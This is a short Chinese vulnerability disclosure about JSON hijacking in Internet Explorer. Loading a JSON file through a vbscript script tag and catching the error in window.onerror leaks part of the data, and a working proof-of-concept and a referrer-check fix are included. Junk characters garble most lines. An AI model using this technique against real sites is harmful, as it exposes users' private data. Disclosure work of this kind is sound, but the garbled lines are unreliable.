简要描述:. E7 C: U( _" z7 i* _' M' f
: |6 `3 {6 _: |由于某些资源容器对数据处理不当导致json劫持漏洞.% L2 d. }# N$ p0 f! U
详细说明:
' z" P( z7 p7 ^5 Q由于ie支持vbscript,所以script元素可以指定成vbscript语言:
: A" z- i7 j4 G3 g<script language=vbscript></script>
t" L, M5 `& t
+ E* k# Q# d/ E: Y% K当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
+ Q1 T3 w J1 v" i1 Z& @/ p. M漏洞证明:9 Z- t; r# H: X
<script>
6 K/ \+ a) G2 a/ bwindow.onerror=function(_){% W$ r4 A1 M" k& p9 t6 k2 h. _
alert(_)
5 E, L6 x2 l. a$ ?}& m! I7 ~" L3 M9 X
</script>
_) ?5 u: X4 \! V6 u<script language=vbscript src=1.json></script>' ]+ N' K6 m; W, O( Z
2 T1 v0 t. Q' Z: \3 M* ]& v
4 H1 ]: _6 r6 C8 H! o6 R1.json:
9 z: t/ W- n, _! E) W[{"name":"sogili","age":19}]
0 [, _1 |6 p$ F; ~5 { y$ g修复方案:
! Z: y0 s, w" M5 G2 k网站业务对于这个问题可以通过验证referrer是否为同源来防御 |